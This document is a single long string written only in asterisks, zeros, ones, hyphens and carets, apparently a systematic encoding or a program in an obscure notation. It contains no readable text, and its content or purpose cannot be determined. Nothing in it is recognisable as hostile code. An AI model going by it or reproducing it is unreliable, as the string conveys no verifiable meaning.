*010-*101*0010-*11**10-*101*0010-**1**01*01*11011**10^1**1*0^1*0-*001*1**1**01*010-**1**01*0101*0010-**1**01*011**10-**1**01**01**01**01**01**01*010-**1**01**01**01**01**01*0101*0010-*101*0010-**1**01*0101*0010-**1**01**01*0^1****01*0010^1*1**01*1011**011*1*10101**1*00-*010-*001^101**10^1*1**0101^11**010^1*10101****1*0010^1*001^101**10^1*00--1**10^1*0-*00-*010-*0-**1^101**10^1*1**0101^11**010^1*10101*^10^-*00-^1*01*0101*0010-**1*010-*101*0010-**1**01**-**1**01*0-*001011**01**01**01*011**10-**1**01*0101*0010-**1*010-**1**01**01**01*00-*011**0-*0-1*0-**0101**1**01*010-*101*0010-*101*0010-*101*0010-*101*0010-**1*010-*11**10-**1**01**01*011**10-**1*00-*010-*11**10-**1*00-*010-*001^101**10^1*0-*00-*010-*0-*00-*010-*0-*00-*010-*0-*00-*00-**1^101**10^1*1**0101^11**010^1*10101*0-*010-*-**11011*001*010-*101*0010-**1**01*01011*1**010^1*101*00-*001101**01**01*010-*101*0010-**1**01**01**01**-**1*0^1*0-*001011**01**01**01**01*010-**1*010-**1**01**01**01**01*00101*0-**-**01**01**01*0101*0010-*101*0010-*11**10-*101*0010-**1**01**01**01*01101*0-*001*1**1**01*010-*101*0010-**1**01**01**01**01**01*0-**011**01*0101*0010-*101*0010-**1*010-**1*010-*11**10-**1**01**01*01011*1**010^1*00-**1**01**01**01*011**1*11011**10^1*101101011**10^1*00-**1**01*010101*-**1*1*001**01**01**01*010-**1**01**01*0-*00-**101**01*0101*0010-*11**10-*101*0010-*101*0010-**1*010-**1*010-*101*0010-**1**01**01**01**01**01*011**10-**1**01*01*1*-*0011011**1**01*010-*101*0010-*101*0010-**1*010-*101*0010-*11**10-*101*0010-**1**01**01**-*10-*00-*10-**1*00-*010-**1*00-*010-*0-*010-*0-*010-*0-**01*00-*00-*010-*0-*010-*0-*01**0101^11**010^1*10101*^11*-*00-101*001*0101*0010-*101*0010-*101*0010-*11**10-**1**01**01**01**01**01**01**01**01**01*0101*0010-**1**01**01*010-**1*010-**1**01**01**01**01**01**01*00-*00-*001**^101^^1*10101*0-*001**1*-01*1*10101*0-*01**01*1011**011*1*10101*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-**-0101**10^1*0-*010-*0-*00-*01**0101^11**010^1*10101*001^101**10^1*1**0101^11**010^1*10101*10^^-*001010101*01**01*010-**1*010-*101*0010-*101*0010-**1**01**01**-**1*00101*0-***1**1*011**10-**1*010-**1**01**-**1*0-*00-*001101**01**01*010-**1**01**01*01010-01**10^1**1*0-*00-**011**01**01*010-*101*0010-**1*010-*11**10-*101*0010-**1**01**01**-**1*01101*0-**^1**1**01**01*0101*0010-*11**10-**1*010-*101*0010-**1**01**01*010-*101*0010-*101*0010-**1**01**01*011***1*00-*00-**01*00-*00-**01*00-**01**01*00-*01**0101^11**010^1*10101**1*00-*01**0101^11**010^1*10101*11**0-*01**0101^11**010^1*10101*0-***^-**00-*001**01*010-*101*0010-*101*0010-*11**10-*101*0010-**1**01**01**01**01**01**11*0-*001^1**1**01**01**01**01**01**01**01**01**01**01*011**10-*101*0010-**1**01**01*010-**1**01**01**01*0101*0010-*101*0010-**1**01**01**01*00-*010-*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*00-*00-*00-*0101010101**10^1*0-*0101010101**10^1*0-**1^101**10^1*1**0101^11**010^1*10101*01^^-**1*01*01**01*010-*101*0010-*101*0010-**1**01**01**01*001***1*00101*0-*00-1**01**01**01*0101*0010-*101*0010-*101*0010-*11**10-**1**01**01**01**01**11*0-**^1**1*0101*0010-**1*010-*101*0010-**1**01**01**01**-**1*00101*0-*00-1**01*0101*0010-*11**10-*101*0010-**1*010-**1**01**01*0^^101**10^1**1*00101*0-**^1**1*0101*0010-*11**10-*101*0010-**1**01**-**1**01*0-*001011**01**01**01**01**01**01**01*0101*0010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01*0101*0010-*0-*01*01011**10^1*101*0010-*1**11**10^1*101*0010-*10101*-*0011*1*001**01**01**01**01*011**10-*101*0010-*101*0010-**1*010-*101*0010-*101*0010-**1*010-**1**01**01**01*00-*010-*001^101**10^1*101*0010-*101010101**10^1*0-*0101010101**10^1*0-**1^101**10^1*1**0101^11**010^1*10101**11*-***11*001*0101*0010-**1*010-*11**10-*101*0010-*101*0010-**1*010-**1**01**01*00-*01**01*-1**010^1*10101**1**11*0-*00^11**1**01*010-*101*0010-**1**01**01**01*0^11011**010^1**1*0^1*0-*00-1**01**01**01*0101*0010-**1**01*0101*0010-*101*0010-**1**01*0101*0010-**1**01**01**01**01**01*00-*010-*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*00-*010-*001^101**10^1*1**0101^11**010^1*10101*-01*-*00-101*001**01*010-*101*0010-**1*010-*101*0010-**1**01*001***1*0^1*0-*00-1**01**01**01*0101*0010-*101*0010-*11**10-**1**01**01**01**01*01101*0-***1**1*0101*0010-*101*0010-**1**01**01**-**1**01*0-**011**01*0101*0010-*101*0010-**1**01**01**01*00-*01**01*-1**010^1*10101**1*0^1*0-**^1**1*0101*0010-**1*010-**1*010-*101*0010-**1**01*0101010-1*0011*1*101010-1*0011*1**1*00101*0-**0101**1*0101*0010-*101*0010-**1**01*0101*0010-**1**01*0101*0010-*11**10-**1**01**01**1^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*0101*1011*0010^1*0-*0101*1011*0010^1*0-*00-*00-*00-*00-**1^101**10^1*1**0101^11**010^1*10101*^11*-**01011*001*0101*0010-*101*0010-*101*0010-**1**01*01011*1**010^1**1**01*0-*00-1**01**01**01**01**01*0101*0010-**1*010-*101*0010-*101*0010-*101*0010-*11**10-**1*010-**1**01**01**01*0101101101**10^1*10-**1*0101101101**10^1*10-*001^101**10^1*0-*00-*01***1*010^1*0-*0101101101**10^1*101101101**10^1*101101101**10^1*0-**1^101**10^1*1**0101^11**010^1*10101*10-*-*0010-1*001*0101*0010-*11**10-*101*0010-**1*010-**1**01*01011*1**010^1**1*0^1*0-*001*1**1**01**01*011**10-*101*0010-*101*0010-**1**01**01*0^1*0-**-**01*0101*0010-*101*0010-*101*0010-**1**01**01**01*0011**001*00101*0-*00-1**01*0101*0010-*11**10-*101*0010-**1*010-**1*010-*101*0010-**1**01**01*00-*01101*0-*001^1**1**01*010-*101*0010-*101*0010-**1*010-*101*0010-*11**10-*101*0010-**1**01**01**01*00-*010-*0-*00-*00-*010-**01*-*0011011**1**01*010-*11**10-*101*0010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01**01*00-*010-*0-*00-*00-*010-*0-*00-*00^1*-*0010-**1**01*010-**1**01*0101*0010-**1**01**01*010-**1**01*0101*0010-**1**01*0101*0010-**1**01*0101*0010-**1**01**01**01*00-*010-*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*0101*0010-*101*0010-*0-*0101010101**10^1*0-*00-*010-*101010101**10^1*001^101**10^1*1**0101^11**010^1*10101*1*0^-*001*001*01**01*010-*101*0010-*101*0010-*101*0010-**1*010-*101*0010-*11**10-**1**01**01**01*00-*010-**1*00-*010-*0-*010-*0-*00-*00-*01**0101^11**010^1*10101*0-*010-*00101*-**1^1*001**01*010-*101*0010-*11**10-**1*010-*101*0010-**1**01**01**01**01*00-**11*0-*001^1**1**01**01**01**01**01*010-**1**01*0101*0010-**1**01**01**01**01**01**01**01*0101*0010-*101*0010-**1*010-*101*0010-*11**10-**1**01**01*010101011**010^1*^1^11**10^1**1*00-*010-*001^101**10^1*^1**1*010^1*101**01*010^1*1***1*010^1*0-**1^101**10^1*1**0101^11**010^1*10101*11*^-***001*01*0101*0010-**1*010-*11**10-**1*010-**1**01*01011*1**010^1**1*0^1*0-*001*1**1*0101*0010-*11**10-*101*0010-*101*0010-**1**01**01**01*0^1*0-*00-1**01*011**10-**1*010-*101*0010-*101*0010-**1**01**01**01*001***1*01101*0-*001*1**1**01**01*0101*0010-*11**10-*101*0010-**1**01**01**01*00101*0-*00-1**01**01**01*0101*0010-**1*010-**1**01**01**01*0^1*0-*001011**01*0101*0010-**1*010-*101*0010-*101*0010-**1**01*011**1**010-*1**10^1*10101**1*0^1*0-**0101**1*0101*0010-**1*010-**1**01**01**01**01**01*0^1*0-*001011**01*0101*0010-**1*010-*101*0010-**1*010-**1**01**01**01*00-*010-*11**10-*0-*00-*010-*0-**-0101**10^1*0-**1^101**10^1*1**0101^11**010^1*10101*1*1*-*0011*1*001*0101*0010-**1*010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01**01*0101*0010-*101**001*00-*00-**001*-*00^11**1*011**10-**1*010-**1*010-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01*011**10-*11**10-**1*00-*010-*101*0010-*0-*00-**1^101**10^1*0-*010-*0-*010101*-*0010^1*001*0101*0010-**1**01*0101*0010-*11**10-**1**01**01**1^101**10^1*001^101**10^1*1**0101^11**010^1*10101*1101*0-*00^11**1**01**01**01*010-**1**01**01**01**01*0-*001101**01*0101*0010-*101*0010-*101*0010-**1**01**01**01**01*0-*001011**01*0101*0010-**1*010-*11**10-*101*0010-**1**01**01**-**1*00101*0-***1**1**01**01*0101*0010-**1*010-*11**10-**1*010-**1**01*0101*0010-*101*0010-*101*0010-**1**01**01*00-*010-**1*00-*010-*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*0101*0010-*101*0010-*00-0011**10^1*0010^11**10^1*0-*00-*00-*010-**1*0101*0010-**1*00-*00-*00-*00-*010-*001^101**10^1*1**0101^11**010^1*10101*00^^-**00^1*01*0101*0010-**1*010-*101*0010-**1*010-*11**10-**1**01**01**01*0-*00-**001*01011*0-**0101**1*0101*0010-**1*010-*101*0010-**1**01**01*00-*01**01*-1**010^1*10101**1*0^1*0-*001^1**1*0101*0010-**1*010-*101*0010-*11**10-**1*010-**1**01**01*0^1*11**10^1*0101*0-*001^1**1**01**01**01**01*0101*0010-*11**10-*101*0010-*101*0010-*101*0010-**1**01**01*0101*0010-*0-*01**11**10^1*0-*0101*011**10^1*1**11**10^1*101*0010-*00101*-*0011*1*001**01**01**01**01*0101*0010-**1**01**01**01**01**01*011**10-**1**01**01**01**01**01**01**01*0101*0010-**1*010-*101*0010-**1*010-*101*0010-**1**01**01**1^101**10^1*0-*001**^-101*1*10101*11**10-*001^101**10^1*0-*001**1*-01*1*10101*0-*00-*001**^101^^1*10101*0-*001**1*-01*1*10101*001^101**10^1*001^101**10^1*101*0010-*0-*00-**01*00-*010-*001^101**10^1*001^101**10^1*0-*00-*00-**1^101**10^1*0-*001**^101^^1*10101*00-0101**10^1*0-*00-*00-*00-*00-**1^101**10^1*1**0101^11**010^1*10101*10101^-*001*-*01**01*010-**1**01**01**01**01**01**01**01*011**10-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01*011**10-*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*0-*00-*00-**01**^1101**10^1*0-*00-*00-**1^101**10^1*1**0101^11**010^1*10101*0-1*-*00^-*001*0101*0010-*101*0010-*11**10-**1**01**01**01*0^10101**011*1*^10101**011*1**1*01101*0-**0101**1**01*010-*11**10-*101*0010-**1**01*00-*01**01*-1**010^1*10101**1**01*0-**^1**1**01**01*0101*0010-*101*0010-**1**01*011**10-*101*0010-*101*0010-**1*010-**1*010-**1**01**01*011**10-*001^101**10^1*1**0101^11**010^1*10101*001^101**10^1*10^101**010^1*10^101**010^1*0-*00-*010-*0-*0101010101**10^1*001^101**10^1*1**0101^11**010^1*10101*^11*-**10-*001*010-**1**01**-*001*00-*00-**001**01*010-*101*0010-**1**01**01**01**01**01*0^1*0-*001011**01*0101*0010-*11**10-**1**01**01**01*010101011**010^1**1*0^1*0-*00-1**01*0101*0010-**1*010-*101*0010-*101*0010-**1*010-**1**01**01*01011*1**010^1*1011*1**010^1**1**01**01**01*011**00-*^11011**010^1*00-**1**01*010101*-**1*1*001**01*010-**1*010-*101*0010-*101*0010-*11**10-*101*0010-**1**01**01**01*0101*0010-*0011*0-*0010101**1**01**01**01**01**01**01**01**01*0101*0010-**1**01*0101*0010-**1**01**01**01**01**01*0101*0010-*101*0010-**1*010-**1*010-**1**01**01*011**10-*11**10-*11**10-**1*00-*010-**1*00-*010-**1*00-*010-*0-*010-*001^101**10^1*101*0010-*0-*0101010101**10^1*0-*0101010101**10^1*0-*0101010101**10^1*0-*0101*0010-*0-*010-*001^101**10^1*1**0101^11**010^1*10101**01^-*001*101*01*011**10-**1*010-**1**01**01**11**01**01*0-**011**01*011**10-*101*0010-*101*0010-**1**01**01*01010-01**10^1**1*0^1*0-***1**1**01**01**01**01**01**01**01**01*0101*0010-*101*0010-**1*010-*101*0010-*11**10-**1*010-*101*0010-**1**01**01**01*00-*010-**1*00-*010-*001^101**10^1*0-*00-*00-**01*0101*0010-*00^1101**10^1*0-**1^101**10^1*1**0101^11**010^1*10101*0-*00-*01**0101^11**010^1*10101*0-*011*^-*00--*001**01**01*0101*0010-*101*0010-**1*010-**1**01**01**01**01*01101*0-***1**1*0101*0010-*11**10-*101*0010-**1**01**01**01*0^^101**10^1**1*00101*0-*001*1**1**01**01**01**01**01**01**01**01**01**01**01*010-*101*0010-*101*0010-*11**10-*101*0010-*101*0010-**1**01**01*01**01**11*1**1*00-*010-*0-*01**01*1011**011*1*10101*001^101**10^1*101*0010-*0-*00-*001**^101^^1*10101*101*0010-*0-*00-*00-*010-*001011011**10^1*0-**1^101**10^1*1**0101^11**010^1*10101*0-*01**0101^11**010^1*10101*11*^-*00110^1*01*0101*0010-*101*0010-**1*010-**1*010-*101*0010-**1**01**01**1^101**10^1*1**0101^11**010^1*10101*0101*0-**0011**1*0101*0010-*101*0010-**1**01**-**1*0-*00-*001101**01**01*010-*101*0010-*101*0010-**1**01**01**01*00101**01*00101*0-*00-1**01**01*010-*101*0010-**1*010-*11**10-*101*0010-**1**01**01*00-*010-*1*101011*0010^1*1101*0-*0010101**1*0101*0010-*11**10-*101*0010-**1**01**01*0101*0010-*101*0010-*^1*0-***1**1*0101*0010-*101*0010-**1*010-*101*0010-*11**10-**1*010-*101*0010-**1**01**01**1^101**10^1**1*00-*010-*0-**1^101**10^1*1**0101^11**010^1*10101*0-*01*1*-**0^1*001**01**01**01**01*0101*0010-*11**10-*101*0010-**1**01**01**1^101**10^1*1**0101^11**010^1*10101*0-*00-*00-*0-1*0-*0011011**1*0101*0010-**1**01**01**01**-**1**01*0-*001101**01*0101*0010-*101*0010-*101*0010-*11**10-**1**01**01**01**01**01*01101*0-*001*1**1**01**01*0101*0010-**1*010-*101*0010-**1**01**01**01*00101*0-*00-1**01*0101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**-**1*00101*0-*001*1**1*0101*0010-*101*0010-**1*010-**1**01**-**1**01*0-*001011**01*0101*0010-**1*010-*101*0010-*101*0010-**1*010-**1**01**01**01*00101*0-*001*1**1**01*010-*101*0010-**1**01**01**-**1**01*0-**011**01**01**01*0101*0010-*101*0010-**1**01**01**01*0-**011**01*0101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01**01*001***1**11*0-*001^1**1**01**01**01*010-*101*0010-**1**01*0101*0010-*11**10-**1**01**01**01*00-*010-*001^101**10^1*1**0101^11**010^1*10101*0-*00-*00-*00^1*-***01*001*0101*0010-**1*010-**1**01**01**01*01011*1**010^1**1*0^1*0-*00-1**01*011**10-**1*010-*101*0010-*101*0010-**1**01**01**01*010101011**010^1**1*01101*0-*001^1**1**01**01*011**10-**1**01**01**01**01*0-*001101**01**01*010-*101*0010-*101*0010-**1*010-**1**01**01**01*0^1*0-*00-1**01**01**01**01**01**01**01*0101*0010-*101*0010-*101*0010-*11**10-**1*010-*101*0010-**1*010-**1**01**01**01**01**011*001^101**10^1*1**0101^11**010^1*10101*0-*01**01**11*1*01**^101^^1*10101*001^101**10^1*0-*00-*00-**011*101*001**10^1*00-*101*001**10^1**11**11*101*001**10^1**11*101*001**10^1*1**01**11*1*101*001**10^1**11*00-**1**011**11**1**011*1**01**11*1*00-**1*00-*01**01**11*1*01**^101^^1*10101**11**1**011**1*010-011**010^1**1**01*010110-**010^1*001^101**10^1*1**0101^11**010^1*10101*^-00-**^-*01**01**01**01*010-*101*0010-*101*0010-**1**01**01**01**01*01101*0-***1**1**01*010-**1**01**01**01*0011*00-*00^1**01*0101*0010-*11**10-**1*010-**1**01**01**01**-**1*00101*0-*00-1**01**01*010-**1**01**01*010-*101*0010-*11**10-*101*0010-*101*0010-**1**01**01**1010101**10^1*1**01*1011**011*1*10101*001010101**10^1*001^101**10^1*1**0101^11**010^1*10101*-1*0-*00-001*001**01*010-**1**01**01*01011*1**010^1**1*0-*00-**011**01*0101*0010-**1**01*0101*0010-**1*010-**1**01**01**1010101**10^1*1**01*1011**011*1*10101*001010101**10^1*001^101**10^1*1**0101^11**010^1*10101*0011*0-*001*01*001**01**01**01**01**-**1*0-*00-*00^1**01**01*010-*101*0010-**1*010-**1**01**01**01*00-*01**01*10101**10^1*10101**1*00101*0-**0101**1*011**10-*101*0010-**1*010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01**0^101**10^1*0011*0-*00-01**1**01*010-*101*0010-*101*0010-*101*0010-**1**01**-**1*0^1*0-*00-1**01*0101*0010-*101*0010-*101*0010-**1**01**01**01*00101**01*00101*0-*00-1**01*011**10-**1**01**01*0101*00-**001**01**01*010-*11**10-**1*010-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01**01**11*0-*0010101**1*0101*0010-*101*0010-**1**01**01*0011*00-**101**01**01*010-*101*0010-**1**01**01*0011*00-**101**01*0101*0010-*101*0010-**1*010-*101*0010-**1**01**01**00-00^1**0-00^1**0-00^1*1101*0-**0101**1*0101*0010-**1*010-*11**10-*101*0010-*101*0010-**1**01**01**00-00^1**0-00^1**0-00^1*0011*0-**1101**1*0101*0010-*101*0010-*11**10-**1**01**01**01**01*0-*001011**01**01*010-**1*010-*101*0010-**1**01**01**-**1*0^1*0-**-**01*0101*0010-*101*0010-*101*0010-**1**01*0^^101**10^1**1**01*0-*00-1**01**01*010-*101*0010-*11**10-**1**01**01**01**01*0-*001011**01**01**01*0101*0010-**1**01**01**01**01*0^1*0-**011**01*0101*0010-*101*0010-*101*0010-*11**10-**1**01**01**01*0-**-**01*0101*0010-*101*0010-**1*010-*101*0010-*11**10-**1*010-*101*0010-**1**01**01*01101*0-**0101**1*0101*0010-*101*0010-*11**10-*101*0010-*101*0010-**1**01**01*0^1*0-***1**1*0101*0010-*11**10-*101*0010-**1**01**01**01**01*0^1*0-**-**01**01*010-**1*010-*101*0010-*11**10-**1**01**01**-**1*00101*0-***1**1*011**10-**1*010-**1*010-**1**01**-**1**01*0-*001011**01**01**01**01**01**01**01*0101*0010-*101*0010-**1*010-*11**10-**1*010-*101*0010-**1**01**01**-*01**0-*01^1*-*0011011**1*0101*0010-**1*010-**1**01*0101*0010-**1**01**01**01**01*00-**011**1**01**011*01**101*0010-*10^101**010^1*1^1*-*0011011**1**01*010-**1*010-*101*0010-*101*0010-*101*0010-*101*0010-*11**10-**1**01**01*01101*0-**0101**1**01*010-*101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01*0101*11**011*1*0-*010-*0011*0-*00-01**1*0101*0010-*101*0010-*101*0010-**1*010-*101*0010-*11**10-**1**01**01*010^101**010^1**1**11*0-**1101**1**01**01**01**01**01**01**01*010-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01**-*01**1*1*-**0011**1*0101*0010-*101*0010-**1*010-**1**01**01*0-*00-**011**01**01*010-*101*0010-*101*0010-*11**10-**1**01**01**01*0-**-**01*01**0-*0011***1*0101*0010-**1**01*0101*0010-*101*0010-**1**01**01*0^1*0-**-**01*0101*0010-**1**01**01**01*0101*0010-**1*010-**1*010-**1**01**01**011*0-**01*0-1*0-*0010101**1*0101*0010-*101*0010-*101*0010-**1*010-**1*010-*11**10-*101*0010-**1**01**01**01**-0101*1*00-0101*1*0-*0-*00^11**1*0101*0010-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01**1010^^1*001010^^1*001010^^1*0011*0-**1101**1**01*010-*101*0010-**1*010-*11**10-*101*0010-**1**01**01**1010^^1*001010^^1*001010^^1*0011*0-**1101**1*0101*0010-*101*0010-**1*010-*101*0010-**1**01**01**0010^^1**010^^1**010^^1*1101*0-**0101**1*011**10-*101*0010-*101*0010-**1*010-**1**01**01**0010^^1**010^^1**010^^1*1101*0-**0101**1*0101*0010-*101*0010-*101*0010-**1**01**01**01**-**1*00101*0-*00-1**01**01*010-*101*0010-*101*0010-*101*0010-**1**01**01**01**01*00101*0-***1**1**01*010-*11**10-**1**01**01**01**-**1*0^1*0-*001011**01*0101*0010-**1*010-*11**10-**1**01**01**01**01**01*0101*0010-**1**01*0101*0010-**1**01*0101*0010-**1**01**01*010-**1**01**01**01**01*010-10-*0010^1*10-10-*0010^1*01**1*00-1*0010^1*1*00-1*0010^1*^-0-*0010^1*1010110-*0010^1**00^-*00101011*001**01*010-*11**10-*101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01**011*0-*010-**1*00-*010-*-1*0-**1011**1**01**01*011**10-**1*010-**1**01**01**01**01*0101*11**011*1*101*11**011*1*01**0101*00-*0-**1101**1**01*010-*101*0010-**1**01*0101*0010-**1**01**01**01**01*001**0-*01011*0-**^1**1**01**01**01**01*011**10-**1*010-**1*010-*101*0010-**1**01**01*001**01**0-*0-**0101**1*0101*0010-*11**10-**1*010-**1*010-*101*0010-*101*0010-*101*0010-**1**01**01*01101*0-**0101**1*011**10-*101*0010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01*00101*0-**^1**1*0101*0010-*101*0010-**1**01**01*0^1*0-*00-*001101**01*011**10-**1*010-*101*0010-**1*010-**1**01**01**01*0-**-**01*0101*0010-**1**01**01**01*0^1*0^1**01*0^1*0-**011**01**01**01*011**10-*101*0010-*101*0010-**1**01**01**01**01*01101*0-***1**1**01*010-*101*0010-*101*0010-**1**01*00101**01**01*0-*001011**01**01**01*0101*0010-*101*0010-**1**01**01**01**01*00101*0-**-**01*0101*0010-**1*010-*101*0010-**1*010-*101*0010-*101*0010-**1**01**01*011**1**010-*1**10^1*10101**1**11*0-*00^11**1**01**01**01*010-*101*0010-*11**10-**1**01**01**01*00101*0-*00-1**01*0101*0010-*11**10-**1*010-**1*010-*101*0010-*101*0010-*101*0010-**1**01**01*011**10-**1*0^1*01**10^1**11*101*0010-*00110^1*1**11**11*00-*101*001**10^1*00-*00-*-01*-*00-00^11**10-**1*010-**1*010-*101*0010-*101*0010-**1**01*0-*00-**-**01*0101*0010-*11**10-**1*010-*101*0010-*101*0010-**1*010-**1**01**01*00101*0-**^1**1*011**10-*101*0010-*101*0010-**1*010-**1**01**-**1*0^1*0-*00-1**01**01**01**01*010-*11**10-**1**01**01**01*0^1*0-*001011**01*0101*0010-*101*0010-**1*010-*101*0010-**1**01*010110-**010^1*1**01*-1**010^1*10101**1*0^1*0-**1101**1*0101*0010-**1*010-*101*0010-**1**01**01**01**01**01*00101*0-*00-1**01*0101*0010-**1*010-**1*010-*101*0010-*101*0010-**1**01**-**1*00101*0-*001*1**1**01*010-*11**10-*101*0010-**1**01**01*0101*11**011*1*101*11**011*1**1*00101*0-*001^1**1*0101*0010-*101*0010-**1*010-*11**10-**1**01**01**01*0^11011**010^1**1*01101*0-*001^1**1*011**10-*101*0010-**1*010-*101*0010-*101*0010-*101*0010-**1**01**01*00-*010-*1101*0-**0101**1*0101*0010-*101*0010-*11**10-**1*010-*101*0010-*101*0010-**1*010-**1**01**01*0101*11**011*1*0-*010-*0-*00-*0-**1011**1*011**10-*101*0010-**1*010-*101*0010-*101*0010-*101*0010-**1*010-**1**01**01*0101*11**011*1*0-*010-*0-*00-*0-**1011**1*0101*0010-**1**01**01*010-**1**01*0101*0010-*101*0010-**1*010-**1**01**01**110-1**10^1*1**01*1011**011*1*10101**1*11**10^1*1**01*1011**011*1*10101*00110-1**10^1*00110-1**10^1**1*11**10^1*00110-1**10^1*1**0101^11**010^1*10101**1*11**10^1*1**0101^11**010^1*10101*00101*-*0010-1*001**01**01*0101*0010-**1**01**01*010-**1*010-*101*0010-*101*0010-**1**01**01**110-1**10^1*1**01*1011**011*1*10101*00-1101**10^1*1**01*1011**011*1*10101*00110-1**10^1*00110-1**10^1*00-1101**10^1*00110-1**10^1*1**0101^11**010^1*10101*00-1101**10^1*1**0101^11**010^1*10101*00101*-*0010-1*001**01**01**01**01*0101*0010-*101*0010-**1*010-*101*0010-*11**10-*101*0010-**1**01**01**1^101**10^1*1**01*1011**011*1*10101*001^101**10^1*10^101**010^1*001^101**10^1*1**0101^11**010^1*10101*0^1*-**01101*001**01**01**01**01*0101*0010-*101*0010-**1**01**01*0101*11**011*1*0-*010-*0-*01011*0-**0101**1*011**10-*101*0010-**1**01**01*0011*00-**101**01*010-**1**01*01011*1**010^1*001*00-*00^1**01*0101*0010-**1*010-*11**10-**1**01**01**01**-**1*00101*0-*00-1**01*0101*0010-**1*010-**1**01**01*010101101**010^1**1**01*0-**-**01*0101*0010-*101*0010-**1**01**01**01**01**01*0^1*0-*001011**01**01**01*0101*0010-*101*0010-*101*0010-**1**01**01**01*00101*0-*00-1**01*0101*0010-*101*0010-**1**01**01*01011*1**010^1*00-**1**01**01**01*011**00-*00-*00-**1**01*00^1*-**0011**1**01*010-*11**10-**1*010-*101*0010-*101*0010-*101*0010-*101*0010-**1**01**01*01101*0-**0101**1**01*010-*101*0010-*101*0010-**1*010-*101*0010-**1**01**01*0^1*0-***1**1**01*010-*101*0010-*11**10-**1*010-**1**01**01**01*0-**-*******1^11011**001*********0^1**01****01*****0011011***1*011***^1011***0010-***0-011***10^11***00^11***10^11***0^-***11*11*101*1**01*****0^11***01*11***0101011***01*011****1011***1^-*11****1^-***0-011***^1011***-0011***-1011***0011011*11****1^-***0010-***0-011***1010-***-1011***11*11***11*11***1*001*001*********101101*01*********0010^1*01*********001*01*01*********00-01*001*****001*******1****0-11*-1*0--1^1*********01***01*********00-11*001**01**********01***1*********001*001***********1**001**********1***0011******01**1****1*****0101**01***0011******1**01***01***001***01****1****00^^^1*****00^^1****00-*^1*****11*^1****00101*^1*****01*^1****0011*0^1*****1*0^1****001*00^1******00^1****00-11*01****00-01*01*****1101*01****0010101*01*****0101*01****001^1*01*****^1*01****001*1*01******1*01*****-*001****001101*001*****101*001*****001*001****00-**1*****11**1****00101**1*****01**1****0011**01*****1**01****001**001*******001********00-1***01*******-1****001***********-^1*********00-1**1********01****01*******001*****1*******01*****01***********001*1*******11**-10-001***********11*01************^1***********01*01***********1*001*******1**0101**01*******1***1**01*******1**01***1*******1*****001*******-001**1*001**********0^11*1*********001011**1**********011**1*********001101**1**********101**1*********00^1**1**********001**1*********00-**01**********11**01*********00101**01**********01**01*********0011**001**********1**001*************1*00----------1^1********011*-01**11*-01**11*-0^1*1^-****01***11*******-0^11*1^-0110^^1**1*0110^1^-001*1101*011*1^1**1*0110110-1011011*110-1011*10-0-101^^-*00101**1*01011*^11**11*^11**0^^1010101*011*001*010-*010110-00110^101^^-0^-1*00-0-1011011*01010^1***01**0010101******0-0110-10110^1011*10-01*011011*110^1011*11011*00-*00-01*001**^10^1^110-0^1011*10-01*01^-001**^1^10^11*1*001010^^10-01***001***-*******00-0-1011*10-0110101101^-010^11*1*1**^1^10^11*1*001010^^1*11****1**01*1******00-0^11*1^-0110^^1**1*0110^1^-001*1101*011*1^1**1*0110110-1011011*110-1011*10-0-101^^-*0010101^1***001***011******010^11*101^^-001^11*1*1101^1^-01^1^11*1*110^-0010^1101*1^10110^^-*00-*00-*1*110101101*^1^-011*01011*0101^101101*1*11010101^10^1^1101^10110^1^11*^11**11*^1^^-*1*1^11011*00-*0^1***01**0^101***********01**0101****************1****1***01*01**01^-0-0-0-101^^-*01011*1010^-0110-10110^1011*10-*00-010^11011*11*0-10101*^-0110-101^-001*00-01*01^^-0-010^1101*01**0010101***1*****1**00-1*001011**0^110101^^-0-10110-0-010^110101101101*01^^-0011*1**1*0101010101*^-00^-01**1*10^110101101101*01^-0010^-101*011*11011*00-01^-0^1011*1*10110101^^-0-10110-0-010^110101101101*01^^-0011*1*101*0-**10101***1***0011*-01*01011*110-010-1*-0110-10110^101101^-00^-010^1^110101*110^110101^^-0-10110-0-010^110101101101*01^^-0011*1*101010101*^-00^-01*1011***001**0-*1*****0010-0101101101010-01010-010^-*00-**1^10^11*101^1^1^^-001*11*1101^10101^11*11010101^1*0110-01^-011*1*11010-1*-011010^11011010110-1011*101010^-1010^110110^1011*110^1011*1101^1*1101010-*00101**1*01101*01101101*01^^-*10-01010-010^1^-011010-^10^1^^-01010-*10-*1101101010-011*01**1*01101**11*-01**11*-01**11*-01*0101^10-1*-0110-10110^101101^-00^-010^1^110101**1*01101*1*110^1011*1101^^-0-1011011*1101^-01011011**1*01101*010-011*11010^1^10101^1*110-^^-0^1011011010^11*10-01^-0^-101^101011011010110110101*11**0110^-101*0010-001101*0110^11010^-10^-10101^10^^10^11010-^1*01101*11011*1010101^11*110-*0^1*10-011010^101^10101*^^-0101011*00^^^10101^-0^1011*01011010110110101^101*1^10101^^110^-00101*-010^110^^1011010^1^-*0010101*101*0110^110-0110101^1*010^1011*00-*1101101*11*1^1^^101*1^101*001010110110^-^1*1^-01*0^11*0-^^101*0-00-101101^10^1*1101*1010101^101^-*0^10^-10-^1*10101*00-*1011*011011*^11010110101**01*0101***1***101101**01*************001**********11****001***11**************001**********011****001***11****00^11010^11*10-0^101^^-010^11*0101^-0110^^10^1*001**001010101**010^11*11011*00-0^1011*10-*1101101010-0101^10-0-0-1011*11011*1101101*00101011*001**0010101***01*******0-11*10-011**001